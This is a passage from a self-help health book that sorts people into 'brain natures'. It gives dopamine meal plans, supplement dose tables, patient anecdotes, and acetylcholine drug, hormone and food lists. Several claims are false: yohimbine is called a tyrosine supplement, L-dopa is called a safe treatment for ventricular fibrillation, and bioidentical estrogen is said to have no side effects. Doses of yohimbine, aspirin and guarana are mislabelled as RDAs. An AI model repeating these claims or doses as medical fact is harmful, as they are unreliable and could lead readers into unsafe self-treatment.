The main component of this high-protein, low-fat regimen is foods that are rich in phenylalanine and tyrosine.
**DEFICIENCY CRAVINGS**
If you are experiencing a dopamine deficiency, you might find yourself bingeing on sweets or caffeine. Both provide the energy boost that you might feel you are lacking. While these foods will certainly work in the short term, the long-range consequences can be devastating. Too much coffee can make you jittery and irritable, as well as produce irregular heartbeat. Too much sugar can lead to rapid weight gain, as well as type 2 diabetes, where your body can no longer balance the ratio between insulin and sugar.
If you want to offset your dopamine deficiency, you must eliminate processed sugars and baked goods made with refined white flour from your diet as much as possible, and reduce caffeinated beverages to no more than two cups per day. For some dopamine-related physical illnesses, you might want to eliminate foods high in saturated fat if you need to reduce your cholesterol, and carbohydrate restriction can help you lose weight and reduce fatigue.
**DAY 1**|
---|---
BREAKFAST | 2 soft-boiled or poached eggs with 4 oz. spinach and 1 clove of raw garlic; add some seasonings for flavor (no seasoning is off-limits). Finish with a cup of iced green tea with lemon and Equal.
LUNCH | 4–6 oz. sardines with 6 oz. soybeans, almonds, and cranberries. Add 1–2 tablespoons olive oil–balsamic vinegar dressing and some seasonings. iced tea with lemon and Equal.
DINNER | 6–8 oz. lamb (seasoned with herbs) with 6 oz. brown rice and 6 oz. (total) of mixed grilled asparagus, carrots, and onions. For dessert, 2 oz. berries mixed in 1/2 cup plain yogurt. Finish with cranberry tea.
**DAY 2**|
BREAKFAST | 2-egg omelet with 2 oz. roasted turkey and fresh radishes. Finish with coffee with cinnamon.
LUNCH | 6 oz. light tuna mixed with olive oil to taste on 1 slice whole-wheat bread with lettuce, tomatoes, and onions. Finish with 6 oz. freshly squeezed grapefruit juice.
DINNER | 6 oz. salad of beets and apples with 2 oz. goat cheese and balsamic vinegar (no olive oil). One grilled Cajun-spiced chicken breast and 4 oz. (total) of mixed steamed snow peas, red beans, and corn. Finish with ginger tea.
**DAY 3**|
---|---
BREAKFAST | 2 oz. sardines with dark green lettuce and 1 cup plain yogurt with 2 oz. mixed berries, almonds, and walnuts. Finish with Earl Grey tea.
LUNCH | 6 oz. baked salmon on a 6 oz. garden salad with olive oil and vinegar with a few whole-wheat or rice crackers. Finish with green tea.
DINNER | 4–6 oz. lean steak or veal with 4 oz. steamed green beans, toasted almonds, and cranberries. Finish with a cup of oolong tea.
HEALTHY
SNACKS | 2 oz. cottage cheese with grapes
1/2 cup plain yogurt with blueberries
1 soft-boiled egg with some baby carrots
1 green apple with 2 tablespoons of almonds
By increasing your consumption of phenylalanine and tyrosine, you can restore your dopamine to optimal levels. Your body will be getting the energy it needs from these amino acids—not from sugar and caffeine. You will find that you are no longer craving foods that will give you energy, because your body will be producing enough on its own. Changing your dietary habits is not easy, but the benefits of your dopamine diet will be evident after a few weeks. Your energy level will rise, your concentration and thinking will sharpen, and your sleep will be more restful. Over time, you will likely be able to eliminate medications for digestion and sleep.
**VITAMINS AND SUPPLEMENTS**
Taking readily available vitamins and supplements is an excellent way to ensure a steady supply of dopamine-friendly nutrients. Because they are energy-related, they are best taken on a full stomach after you've eaten breakfast or lunch—you wouldn't want an extra charge in the evening when it's time to relax.
DOPAMINE BOOSTERS FOR BRAIN ENERGY
(SUGGESTED DAILY SUPPLEMENTAL DOSES)
| Minor | Moderate | Severe
---|---|---|---
| Deficit (0–5) | Deficit (6–15) | Deficit (15+)
Phenylalanine | 500 mg. | 1,000 mg. | 1,000–2,000 mg.
Tyrosine | 500 mg. | 1,000 mg. | 1,000–2,000 mg.
Methionine | 250 mg. | 500 mg. | 1,000 mg.
Rhodiola | 50 mg. | 100 mg. | 200 mg.
Pyridoxine | 5 mg. | 10 mg. | 50 mg.
B complex | 25 mg. | 50 mg. | 100 mg.
Phosphatidylserine | 50 mg. | 100 mg. | 200 mg.
_Ginkgo biloba_| 50 mg. | 75 mg. | 100 mg.
Each of the primary neurotransmitters has a nutrient precursor, and dopamine is derived from the amino acids phenylalanine and tyrosine. Phenylalanine is made first, and then gets converted into tyrosine. When we are healthy, our diet usually provides adequate quantities of these natural substances. However, when the first symptoms of illness occur, these nutrients can be supplemented to avoid more serious conditions. Therefore, augmenting these amino acids becomes your first line of defense to regain wellness and increase your Edge Effect.
For example, the supplement D, L-phenylalanine can be an effective pain reliever and antidepressant with many potential therapeutic benefits. D, L-phenylalanine inhibits enkephalinase enzyme, which breaks down the body's endogenous opioids. It can be used to lessen the symptoms of PMS and Parkinson's disease. Phenylalanine is better absorbed than tyrosine and may cause fewer headaches. However, in order for phenylalanine to be properly metabolized, you will need sufficient quantities of biopterin, a form of folic acid; iron, niacin, vitamin B6, copper, and vitamin C must also be ingested.
L-dopa, which is used in the treatment for Parkinson's disease, is made from tyrosine. It can be also be used as a safe and lasting therapy for hypotension, ventricular fibrillation, and appetite suppression. Drugs that prolong the effects of tyrosine have been used as aphrodisiacs, including sildenafil (Viagra). Large doses of tyrosine supplements such as yohimbine may stimulate sex drive (and may raise blood pressure). Tyrosine supplement therapy may also be useful in treating drug addiction, temporarily replacing cocaine and amphetamines much the way methadone replaces heroin for addicts. Folic acid, copper, and vitamin C are nutrients necessary for these reactions to occur.
I have developed a unique dopamine supplement formula (see table on opposite page), which I call Brain Energy. It contains thiamine, tyrosine, phenylalanine, low-dose caffeine, folic acid, and chromium. Taken on a daily basis, this supplement can help to build your metabolism. This specific formula helps keep your edge sharp and decreases symptoms of fatigue, light-headedness, weight gain, and diminished libido. Taking the supplements listed at left, in the amounts indicated, will increase your energy and return your attention to its former levels of excellence.
Dopaminergic symptoms and conditions are best treated with specific supplements. The recommended daily allowance, or RDA, for each is in parentheses:
_Diminished sex drive:_ yohimbine (15–20 mg.)
_Fatigue:_ chromium (men 35 mcg., women 25 mcg.), guarana (200–2,000 mg.)
_Impotence:_ arginine (has an effect similar to Viagra) (1,000–10,000 mg.)
_Inflammation:_ fish oil (1,000–3,000 mg.), aspirin (1,200–1,500 mg. for a short period of time), and willow bark (200–1,000 mg.)
_Narcolepsy:_ guarana (1,000–2,000 mg.)
_Substance abuse:_ thiamine (men 1.5 mg., women 1.1 mg.)
_Treatment-resistant depression:_ Rhodiola rosea (50–750 mg.)
_Weight loss:_ hydroxycitric acid (500–1,500 mg.), conjugated linoleic acid (2,000–3,000 mg.)
**LIFESTYLE**
The risk for dopamine natures of leading a high-energy lifestyle is burning out the brain's power supply of dopamine faster than it can be replenished. Rather than using quick fixes such as sugar and caffeine, it is far healthier to balance high energy output with regular periods of relaxation and restoration. Dopamine natures are used to handling stress, but everyone needs to take a break now and then, especially if you are experiencing a dopamine deficiency. Here are some examples of stress-busting activities that need to be incorporated into your day so that the brain can resynchronize and rebalance to produce more dopamine.
**EXERCISE: ALTERNATE DEEP BREATHING**
Deep breathing exercises are ideal for the person with a primary dopamine nature. These can slow your body down and provide a feeling of peace, which rests the brain while it's awake. They will help you create more energy and at the same time embrace a feeling of complete relaxation and peace of mind.
Sit quietly in a comfortable position and take five slow, deep breaths.
Exhale all your air completely, and then seal off your right nostril with your thumb, completely filling your lungs through your left nostril.
Use your ring finger or pinkie to seal off the other nostril, so that both are closed. Hold your breath for fifteen seconds. Release your right nostril and exhale.
Inhale again through your right nostril, seal off both nostrils, and hold your breath for another fifteen seconds. Release your left nostril and exhale.
Complete this exercise three times, then relax, sit quietly, and take five complete breaths through both nostrils.
**OTHER LIFESTYLE STRATEGIES**
For half an hour each day, try to set aside the time for quiet relaxation, which can include non-work-related reading, watching nonviolent television programs, or even playing a competitive game such as chess.
Anaerobic exercise, such as weight lifting, should be done three times per week. Use weights that involve an exertion of effort to do ten to fifteen repetitions for each exercise, then increase the weights when the repetitions become easy. You might want to work with a personal trainer who can develop a personal weight-training program for you.
**ENVIRONMENT**
Exposure to lead from old paint, leaking batteries, or solder (molten lead used to fasten metal) has been proven to reduce the brain's dopamine supply. Read warning labels carefully and wear a protective mask in order to protect your dopamine balance if you absolutely must be around lead-based products.
Cadmium from cigarette smoke also decreases dopamine. If you smoke, now is the time to quit: there are really no more excuses for continuing this extremely unhealthy habit. Thousands of smokers have broken this addiction with our dopamine nutrient supplements. If you don't smoke and find yourself near smokers, move as far away as possible.
**GETTING INTO BALANCE**
Nature-based treatment is not miraculous, it's just good medicine. Getting to the source of an illness by discovering your nature is the path to health. With my patient Joe, the key wasn't his weight, his digestive system, his hypertension, or his cholesterol. Continued treatment of these isolated symptoms would have just resulted in new ones. The real solution to Joe's myriad health problems was balancing his dopamine and bringing back his edge.
Obviously, Joe couldn't lose his extra weight overnight. Nor could he lower his blood pressure and cholesterol levels rapidly. But we could do something right away about his gastroesophageal reflux disorder and his energy level. When we replaced his gastroesophageal reflux disorder medication with licorice root and had him sleep with his head elevated, Joe's symptoms disappeared within a week. That immediately improved his sleeping pattern, which is critical to having the brain restore itself. You know what you can accomplish in an eight-hour day; the brain actually does far more with an eight-hour night.
After ten days of restful sleep and taking DHEA, HGH, and the Brain Energy formula, Joe started to feel his old energy returning. His anxiety symptoms disappeared after two weeks. Taking care of Joe's digestion and improving his sleep and sex drive did wonders for improving his whole attitude. When his energy returned to normal after the first month, he started to feel competent again at work. Joe's recovery was really picking up steam. Then other parts of his treatment program began to do their part as well.
The HGH, which reduced Joe's carbohydrate cravings, and his dopamine diet began to show results after the first month: Joe lost nine pounds in four weeks and was able to keep them off since he no longer craved sweets and simple carbohydrates. Because he was totally committed to restoring his health, he took a hard look at how he lived every day, and made some changes he felt he could sustain. Probably the most important thing he did was assess his priorities so that his overall stress level could be ratcheted down a couple of notches. Work would always be important, but not everything had to be done yesterday. He established new routines in other parts of his life, and he made sure to include a routine of gym visits, breaks in the park, and deep breathing exercises.
After three months, Joe was off all prescription medications. He had lost twenty-seven pounds and was able to maintain this loss. His blood pressure was back to normal, he had no signs of gastroesophageal reflux disorder, his energy was restored, his sex drive was good, and he was no longer considering a second divorce. That was two years ago. Today Joe is maintaining normal weight, is physically fit, and is retaining his strategic thinking and concentration abilities. He's calm and stable, and his relationships are on an even keel.
THE CREATIVE ACETYLCHOLINE NATURE
IF YOU SCORED HIGH on the Braverman Nature Assessment for acetylcholine, your brain chemistry is dominated by this neurotransmitter, which is produced in the brain's parietal lobes. The parietal lobes are responsible for thinking functions, such as comprehension of language, intelligence, and attention.
In this chapter you will learn about your acetylcholine nature and see how it affects all areas of your physical and mental health. More important, you will be able to point to some of the specific ailments you might be experiencing and learn how to correct them by addressing an acetylcholine deficiency. By doing so you will be taking the first step to better health.
**THE ACETYLCHOLINE NATURE
PERSONALITY PROFILE**
People with an acetylcholine nature are adept at working with their senses and view the world in sensory terms. They are highly creative and open to new ideas. If you have an acetylcholine nature, you represent 17 percent of the world's population. You are a quick thinker who is constantly taking others into consideration. This nature is devoted to making something the best it can be, no matter how much effort it requires. Your flexibility, creativity, and impulsivity open you up to try anything as long as it offers the promise of excitement and introduces you to something new.
A balanced acetylcholine nature is intuitive and innovative. You take pleasure in anything involving words, ideas, and communication, and are able to share your enthusiasm with others. This nature makes for ideal counselors, mediators, think tank members, yoga and meditation instructors, religious leaders, and members of public-service organizations. Brain speed impacts the creative function, so artists, writers, advertising professionals, and actors are all likely to be acetylcholine dominant. An educator with an acetylcholine nature would gravitate toward teaching art or literature; an accountant would gravitate toward specializing in forecasting and projections; a plumber might find himself teaching in a trade school.
If you're acetylcholine dominant, you're extremely sociable, even charismatic. You love meeting and greeting, and making new friends. You come across to others as being authentic and grounded. Relationships come easily to you, and others find you charming. You invest a great deal of energy in all of your relationships—at work, in the community, and at home—and feel that you are personally reaping the rewards. An eternal optimist, you envision the possibilities in everyone. You are attentive to the needs of your children and romantic with your significant other. You possess a unique ability to remember other people's feelings and reactions, which enables you to avoid hurting them. Thanks to your altruism and benevolence, you are quite popular with a broad range of people.
Adventure is your hallmark. You are always open to trying new things and are not afraid of failure. Travel is exciting, yet you can also thrive by staying home and reading about the lives and experiences of others. Your quest for learning makes you interested in a variety of topics and adept at sharing your knowledge with others.
The Edge Effect occurs when you've maximized your acetylcholine nature. These are the times when your thinking is crystal clear and you are formulating new ideas about the world around you. You might be creating something artistic, or you might be deeply involved in your spiritual practice. Or perhaps you're motivating others to become the best they can be.
**TOO MUCH ACETYLCHOLINE**
It is possible, however, to have too much of a good thing. People with acetylcholine natures who produce excessive amounts of this biochemical are at risk when they give too much of themselves to others, to the point of becoming masochistic. Individuals who produce an overabundance of acetylcholine might feel the world is taking advantage of them, or they may become paranoid. Too much acetylcholine can drive an individual into isolation.
**OUT OF BALANCE:
ACETYLCHOLINE DEFICIENCY**
If you scored high for acetylcholine in the second test in Chapter 3, then you are acetylcholine deficient. An acetylcholine deficiency occurs when your brain is either burning too much acetylcholine or not producing enough. Acetylcholine regulates your ability to process sensory input and access stored information. First, input comes to the brain as a global response to sensory stimuli, including touch, taste, smell, vision, and sound. This information is processed into memories and thoughts, which are then stored in your brain and used as the basis of your knowledge.
Your response to sensory stimuli is measured by your brain's speed. Acetylcholine, displayed as alpha waves, controls your brain speed by determining the rate at which electrical signals are processed throughout your body, literally connecting your body's physical experiences to memories and thoughts. This electrical rate is one of the factors that determine your brain's real, or functional, age which may be very different from your chronological age, depending on your brain's health. When your brain speed slows, the brain doesn't have time to connect all the new stimuli to previously stored information before the next batch of stimuli rolls in; some information winds up getting discarded before it's processed, so recall starts to become spotty. You cannot react to sensory stimuli as fast as you used to. This causes forgetfulness, because your brain can't connect new stimuli to previously stored memories or thoughts. Also, slowed impulses to the body result in organs functioning less well. When this occurs, you might feel like you are losing your edge.
The chart on the following page shows how physical and mental changes relate to changes in electrical brain speed, measured in milliseconds. At the beginning of the chart please note that too much of a good thing—in this case brain speed—can cause its own special problems. As brain speed dips below normal, a different set of issues comes into play. When you lose just seven milliseconds of brain speed, you can recognize that your thinking is slowing down, even if your baseline is much faster than average.
SPEED (MILLISECONDS) | MEDICAL CONDITIONS
---|---
275 High Acetylcholine | Speeds this high typically indicate overstimulation due to cocaine or amphetamines
280 | Panic disorder, manic episodes of bipolar disorder, anxiety
290 | Anxiety or normal, depending on age
300 | Normal
310 | Normal
320 | Normal
330 | hyperthyroidism, post-traumatic stress disorder, mild hypertension, learning difficulties
340 | Fatigue, hyperlipidemia, mild anemia, hypothyroidism, obesity
350 | Attention deficit disorder, narcolepsy, menopause, diabetes, coronary artery disease, chronic obstructive pulmonary disease, cancer, uncontrolled or poorly controlled hypertension
360 | Congestive heart failure, moderate anemia, learning disorders
370 | Multiple sclerosis, HIV, encephalopathy, dementia associated with medical disease, seizure disorder, epilepsy, severe anemia
380 | Parkinson's disease, schizophrenia, kidney failure, head injury
SPEED (MILLISECONDS) | MEDICAL CONDITIONS
---|---
390 | Multiple system atrophy, stroke, supranuclear palsy
400 | Early-stage Alzheimer's disease and other dementias
420 Low acetylcholine | Severe Alzheimer's and other dementias
It is reasonable to assume that an acetylcholine deficiency will most likely occur in individuals who possess greater amounts of one of the other three biochemicals. By definition, most other natures are somewhat acetylcholine-deficient. This does not mean that any acetylcholine deficiency must be corrected: each of us maintains our own healthy balance through the combination of all of the biochemicals. A minor deficiency may go unnoticed or can easily be corrected by following the lifestyle and diet suggestions in this chapter. A moderate or major deficiency, however, requires immediate medical attention.
Acetylcholine natures can also develop an acetylcholine deficiency, which is usually experienced as a keen awareness that they are not quite themselves. These individuals are most likely to notice the smallest changes in their edge because they are most aware of how they feel when their acetylcholine is balanced. Acetylcholine natures will quickly notice when they can't remember things as easily as they used to.
**ACETYLCHOLINE-RELATED
SYMPTOMS AND CONDITIONS**
For those with an acetylcholine nature, or others who are experiencing an acetylcholine deficiency, the early warning signs of deteriorating health are related to loss of thought: physically you experience sensory loss, and mentally you've lost your enthusiasm for life and may become forgetful. The brain is the generator of half of the body's energy signals. When the brain slows down, so does the entire body. This can show up in your body in a variety of ways and can affect any of the four major domains of brain function.
PHYSICAL ISSUES
Agitation
Alzheimer's disease
Anxiety
Arthritis
Autism
Cholesterol elevation
Decline in sexual ability
Diabetes
Difficulty urinating
Dry cough
Dry mouth
Dyslexia
Excessive or frequent urination
Eye disorders
Fat cravings
Frequent bowel movements
Glaucoma
Hypoarousal
Inability to carry out motor commands
Inability to recognize objects
Inflammatory disorders
Involuntary movements
Multiple sclerosis
Osteoporosis
Reading/writing disorders
Rigidity or flaccidity
Slowness of movement
Speech problems
PERSONALITY ISSUES
Bipolar disorder
Calculation errors
Changes in personality and language
Hysterical behavior
Mood swings
Rule breaking
MEMORY ISSUES
Learning disorders
Loss of immediate visual and verbal memory
Memory disturbance
Memory lapses
ATTENTION ISSUES
Attention problems
Difficulty concentrating
Diminished comprehension
Impaired abstract thinking and judgment
Impaired creativity
Of all the natures, brain functional impairment due to deficiency is most apparent in acetylcholine natures. Yet diagnoses are often made and treatments recommended without an adequate assessment of the neurotransmitter responsible for these symptoms. The value of _The Edge_ _Effect_ is in properly associating these symptoms with an acetylcholine deficiency and providing you with information about the easiest, least damaging, and most effective interventions.
If you compare the lists at left with those that appear in the text on other natures, you will find that some symptoms and conditions appear more than once. This repetition is caused by the binary nature of the four major neurotransmitters, with both dopamine and acetylcholine acting as the electrical on switch for the brain, and GABA and serotonin as the electrical off switches. Because their functions are similar, similar symptoms may occur when either is deficient.
Also, the brain-mind-body connection has only a limited number of possible malfunctions, so these malfunctions affect the rest of our system in similar ways. However, how a deficiency affects specific organs or systems varies by nature. For example, while acetylcholine and dopamine deficiencies both lead to attention issues, dopamine-related deficiencies cause a loss of the energy to learn, while acetylcholine deficiencies actually lead to forgetfulness.
**ACETYLCHOLINE DOMINOES**
Left unchecked, an unbalanced acetylcholine nature, or an acetylcholine deficiency in a different nature, can lead to a slide in your health. Instead of constantly seeking out human interaction, you find yourself avoiding contact with others. There is a noticeable tension in your relationships that wasn't there before. Order, schedules, and routines—never strong suits for you—become totally out of hand, and you can't manage your daily schedule. Where you used to move rapidly from one idea to another, from one activity to another, from one person to another, now you start to obsess about what should come next.
Physically, muscles and bones ache, but not the same ones all the time—and you can't seem to pinpoint one particular area. For the first time in your life, you're not enjoying sex, because of vaginal dryness or an inability to sustain an erection. While you don't have trouble falling asleep, you find yourself waking up an hour before your alarm clock goes off. You find solace in comfort foods such as heavy home-style meals, fried foods, and ice cream.
Months later, physical changes are harder to ignore. You're several pounds overweight. Those elusive muscle and joint aches are still with you, and other, more disconcerting symptoms appear: your visual perception is off, and your reflexes are slower. You can't remember the names of people you just met. You can't seem to formulate a plan of action. Drawing conclusions and making decisions require new effort.
Because you are open-minded, you might visit a number of alternative healers. A chiropractor adjusts your back, and an acupuncturist short-circuits your various aches and pains. A massage therapist relaxes you, at least temporarily. While you do feel better, the results never last. The physical symptoms don't disappear; they just hibernate for a while. Your mood swings are more pronounced, and you seem to be staying in the low periods longer than ever.
Your medical doctor gives you a physical exam and is nonplussed by the results. Other than your being a little overweight—which was obvious—the doctor doesn't uncover anything to explain your condition. She tells you to watch what you eat and to exercise, and that you might be experiencing anxiety. She writes a prescription for Prozac, which you take, but your symptoms never go away.
After months of effort, your diet has not worked. Your cravings for fried food and ice cream are still with you. You can't remember much of anything anymore—you can't even remember to make notes. You don't want to go to work, and you don't want to run into anyone you know. You may experience a series of accidents, such as falling off a ladder, tripping on a sidewalk crack, and wrecking your car. You no longer care about people or want to be with them. And physical deterioration can occur in tandem with cognitive failures—muscle and bone aches are constant, and simply walking becomes difficult. You are finally diagnosed with osteoporosis combined with arthritic inflammation. A deficit of acetylcholine slows bone preservation as calcium leaks out of the bones, which can be a contributing factor in arthritis, hardening of the arteries, loss of attention functions, Alzheimer's disease, and other dementias.
Although you might think this scenario is far-fetched, it is exactly what can happen when an acetylcholine deficiency is left unchecked. If you can't recognize yourself in the above scenario, see if you can relate to the experiences of my patient Nancy. At fifty-five, she had spent the past twenty years building a successful psychology practice by connecting well with her patients. She was highly skilled at pointing out different ways of seeing things and at making alternative solutions available so that patients could help themselves. But she was clueless about helping herself.
For more than a year, Nancy ignored or put up with her symptoms. She thought that her weight gain and her conflicts with her husband and children were due to mood swings caused by menopause. What most annoyed her were the memory lapses that had progressed from an occasional inconvenience to a daily occurrence. She couldn't remember a patient's history without reviewing the chart, which previously she had rarely needed to do. She wasn't thinking clearly, and she was no longer confident in her professional expertise. Plagued with the thought that someone would discover her lapses, she considered closing her practice.
Physically, Nancy was experiencing odd and varied symptoms. Her muscles ached; at first it was just a sporadic annoyance, but soon it progressed to a daily problem. She knew older people often have trouble getting around, but to have pain merely when she walked seemed a bit premature. Worse, sexual relations were also becoming painful because of vaginal dryness. Combined with her weight gain and her thinning hair, she felt that she was not attractive to her husband, and she began to withdraw from him physically and emotionally.
Nancy was mired in a low mood most of the time. She was bored by her patients during sessions and was terrified that they would find out. She was barely involved with her three children—a high school senior, a college sophomore, and a newlywed. She just didn't seem to have the energy or desire to be engaged in their lives, even though each was on the cusp of something new and exciting. The thought of being a grandmother, which she had constantly talked about with eager anticipation, was now a source of dread for her. Uninterested in her patients, uninvolved with her children, and distant from her husband, Nancy found herself alone most of the time.
As a health care professional, Nancy was aware of the efficacy of alternative treatments for many conditions. But when six months of visits to an acupuncturist, a massage therapist, and a nutritionist made no impact on her conditions, Nancy visited her primary care physician. From the doctor's point of view, complications associated with menopause explained quite a lot. Nancy's hormones were certainly in a state of flux, and this was a contributing factor to her depression, which in turn played a role in her weight gain, fatigue, and low mood. She was given a prescription for Premarin—a natural, but not bioidentical estrogen. (Premarin is derived from female horses.) Her doctor assured her this would address her vaginal dryness, her hair loss, and her low mood. Paxil, an antidepressant, would also help her out of her doldrums. Tenuate—a prescription stimulant—would give her an energy boost to counteract her recent lethargy. When all of these kicked in, her doctor explained, her memory would recover. But Nancy was also informed that her cholesterol was 50 percent higher than normal—she would need a prescription for Lipitor to get this under control. And the extra weight? Her doctor put her on a strict diet—1,500 calories per day— and warned her to stay away from fats.
Nancy's doctor was confident she would be fine. Yet four months later Nancy was still waiting to get better despite her best efforts. She followed her diet religiously and dropped fifteen pounds, but she felt hungry all the time and resented not being able to eat what she wanted. Nancy was able to engage with her children, but she still wasn't motivated to be closer to her husband, though her ability to have intercourse improved. Perhaps worst of all, there was no sign of improvement in her memory, and her practice continued to suffer. When, on top of everything else, she started to have difficulties sleeping, she showed up in my office.
Most of Nancy's medical history was unremarkable, but there were a couple of items that drew my attention. She had suffered a broken arm after a fall while skiing two years before, and she'd had two automobile accidents in the last eighteen months. Nancy's family had a history of stroke and Alzheimer's disease. Her Braverman Nature Assessment identified her acetylcholine nature, and blood tests revealed a normal estrogen level, due to the Premarin (which we replaced with a natural bioidentical form of estrogen), but identified deficiencies in growth hormone and progesterone, testosterone, DHEA, and calcitonin (Miacalcin). Tests also uncovered osteopenia—the early stage of osteoporosis. While her original diagnosis of low hormone levels was accurate, there was no doubt in my mind that the majority of Nancy's complaints could be traced to her acetylcholine deficiency.
**BALANCING YOUR
ACETYLCHOLINE NATURE**
Acetylcholine deficiency can cause conditions such as memory lapses, trouble walking, and lethargy. Yet even these annoying problems are only early signs of the real trouble that may occur if you don't pay attention to brain chemistry. Now that you are aware of your nature, it is always best to treat relatively minor acetylcholine-based symptoms as early as possible.
Any acetylcholine deficiency can be corrected by using some combination of the seven treatment modalities: medications, hormones, supplements, diet, lifestyle, environment, and electrical treatments. The severity of your symptoms, however, will determine which type of treatment will work best for you. You can gauge the level of your deficiency by consulting your deficiency test score. A minor deficiency will range from 0 to 5, a moderate deficiency will range from 6 to 15, and anything over 15 is considered a major deficiency.
**ACETYLCHOLINE-FRIENDLY MEDICATIONS**
Once you've balanced your acetylcholine by following the suggestions in the rest of this chapter, you should not need prescription medications. But until your acetylcholine is balanced, you may require some combination of prescription drugs. Pharmaceuticals designed to reverse a parietal-lobe acetylcholine deficiency work by affecting brain speed in some way. Talk to your doctor regarding drug choices and specific doses that are right for you. Dosage will vary significantly based on your height, weight, and gender. Each drug has specific properties that address a specific speed-related imbalance.
_Bed-wetting (children) and adult patients with memory dysfunction:_ arginine vasopressin, or AVP
_Memory enhancement for patients with minor memory loss:_ piracetam, vinpocetine (both of these are sold in specialty compounding pharmacies and on the Internet), galantamine (Reminyl)
_Memory loss, Alzheimer's disease, and other dementias:_ donepezil (Aricept), rivastigmine (Exelon), neostigmine (Prostigmin), tacrine (Cognex), galantamine (Reminyl)
_Muscle weakness and myasthenia:_ pyridostigmine (Mestinon)
_Urinary disorders:_ bethanechol (Urecholine)
_Vascular disorders:_ statin drugs
_Visual disorders:_ pilocarpine (Salagen)
Many of the medications that Nancy's original doctor put her on were not appropriate for someone with an acetylcholine nature. I tapered her paroxetine (Paxil) for this reason (this drug addresses serotonin-related depression and can often be replaced by progesterone, growth hormone, or mood-enhancing supplements such as St. John's wort). Diethylpropion (Tenuate) was discontinued, as it addresses dopamine-related fatigue, and Nancy's lethargy wasn't related to dopamine—I could tell because her brain voltage was normal.
To my mind, none of the conditions related to Nancy's acetylcholine deficiency were at a point that would require pharmaceutical intervention. I took her off synthetic estrogen (Premarin) and switched her to a bioidentical estrogen, which has no negative side effects. Furthermore, bioidentical estrogen along with tyrosine and the herb rhodiola can have the same effect as weight loss drugs without the problematic side effects. My goal with Nancy—as it is with all of my patients—was to eliminate all drugs from her treatment program as soon as possible.
**HORMONES**
Hormones that augment acetylcholine are vital for health. Each of us loses different hormones at different rates, so we must monitor our hormone levels and supplement them as necessary. While the hormones listed at right are necessary for all of us, an acetylcholine nature will naturally use these more rapidly, and therefore require more supplementation. As with prescription medications, all issues related to hormone replacement must be resolved in conjunction with a medical doctor. Specific conditions, and the acetylcholine hormones related to them, include:
_Appetite control:_ estrogen
_Fluid retention:_ vasopressin
_Kidney failure, anemia:_ erythropoietin
_Lethargy:_ DHEA (dehydroepiandrosterone)
_Memory loss, muscle loss:_ human growth hormone (HGH)
_Metabolic disorders (weight gain):_ calcitonin (Miacalcin)
_Osteoporosis:_ parathyroid hormone, estrogen, calcitonin (Miacalcin)
While Nancy's conditions did not require medications, they definitely called for hormones. She was given 18 mg. of natural growth hormone per month to address her memory, her metabolism, her muscles, and her bones. I also gave her 50 mg. per day of DHEA to restore her vigor, and 200 IU per day of calcitonin (Miacalcin) to stabilize her metabolism. Natural estrogen helped control her appetite and lose weight. Supplementing her estrogen was a good idea for her menopausal symptoms (dry vagina, low sex drive, and low mood) and for helping her control her appetite and lose weight, but using Premarin wasn't. I replaced that prescription with 0.5 mg. of estradiol—bioidentical estrogen—and combined it with 100 mg. of progesterone and a small amount (2.5 mg.) of testosterone, a combination known as PET. My clinical experience with thousands of women, as well as other clinical studies, has consistently shown that careful monitoring and supplementation of both male and female hormones when treating menopause symptoms achieves the most effective and longest-lasting results. Additional benefits of PET replacement therapy, particularly important in Nancy's case, include memory improvement from the estrogen, increased bone density from the progesterone, and improved vigor from the testosterone.
**DIET**
For many conditions—especially those present in the early stages of deficiency— you don't need a doctor's help to restore and maintain your acetylcholine balance. You can take matters into your own hands by following the nature-balancing suggestions for your diet and supplement regimen.
One of the easiest ways to keep your acetylcholine nature balanced is by making better food choices when you eat. When your acetylcholine is deficient, your body needs more of the nutrient choline, which begins as a B vitamin and is converted to acetylcholine. Choline is so important to cognitive function that food manufacturers are now adding it to a wide variety of products. The U.S. government has established that any food with 55 mg. or more of choline per serving can be touted as "a good source of choline."
Choline is a key building block needed to create myelin, the insulation surrounding the membrane of many neurons. Essentially, choline is a good fat that protects the body from potentially dangerous surges of electricity that course through it every day. In order for our brain speed to remain high, there needs to be enough insulation around the neurons so that information to and from the brain stays in the nerve fiber and does not dissipate as it passes from site to site. Studies report the value of choline in diseases such as Huntington's chorea, Alzheimer's, psychiatric disorders (particularly mania and mood swings), Tourette's syndrome, and ataxia (inability to control voluntary muscle movement).
Nature-specific diets are not about portion control or essential components. The important thing is to form a healthy habit of selecting acetylcholine-producing foods the majority of the time. When you do so, the occasional french fries and ice cream you sometimes crave will have little or no harmful effect.
The benefits of your acetylcholine diet will be evident after a few weeks as your body begins getting an adequate supply of choline to keep its acetylcholine flowing. Cognitive problems associated with memory and thinking will gradually improve. You can supplement your nature diet with any noncarbonated, nonalcoholic, sugar-free beverage you prefer. Round out a meal with any additional fruits and vegetables you like even if they don't appear in the acetylcholine list at right.
Choline is a natural component of plants and animal products. Foods highest in choline are egg yolk, meat, liver, and cereals. Unfortunately, often the best sources of choline are foods with high fat content, exactly the types of food people want to avoid when they are trying to lose weight. Consequently, when we diet, we may be unconsciously decreasing our choline intake, which is especially worrisome for those of us with an acetylcholine deficiency. Adult men require 550 mg. per day of choline, up to a maximum of 3.5 grams per day. For women, choline intake should be at least 425 mg. daily, with an upper limit of 3.5 grams. Foods that are high in choline include:
PER 6–8 OZ.
Almonds (100 mg.)
Artichokes, cooked (60 mg.)
Beef, ground, lean, cooked (170 mg.)
Broccoli, cooked (80 mg.)
Broccoli rabe, cooked, (60 mg.)
Brussels sprouts, cooked (80 mg.)
Cabbage, cooked (80 mg.)
Egg, whole (500 mg.)
Egg, yolk (1.4 g.)
Fish, cod, cooked (160 mg.) salmon, cooked (130 mg.) tilapia, cooked (160 mg.)
Hazelnuts (90 mg.)
Liver, beef, cooked (840 mg.)
Liver, chicken, cooked (600 mg.)
Liver, turkey, cooked (440 mg.)
Macadamia nuts (90 mg.)
Oat bran (120 mg.)
Peanut butter (130 mg.)
Pine nuts (100 mg.)
Pork (180 mg.)
Shrimp, canned (160 mg.)
Soy protein powder (160 mg.)
Tomato paste (80 mg.)
Wheat bran (150 mg.)
Wheat germ, toasted (300 mg.)
DEFICIENCY CRAVINGS
Just as people with a dopamine nature reach for sugar and caffeine for that extra burst of energy, if you have an acetylcholine nature, you probably crave fatty foods. Now you know why: because they deliver an instant choline boost. But too much fat circumvents the body's natural mechanism for production of acetylcholine.
**TRIMMING THE FAT: CHOOSING
THE BEST SOURCES OF ACETYLCHOLINE**
While it is important to eat foods high in choline, there are low-fat options available that work just as well as their high-fat counterparts.
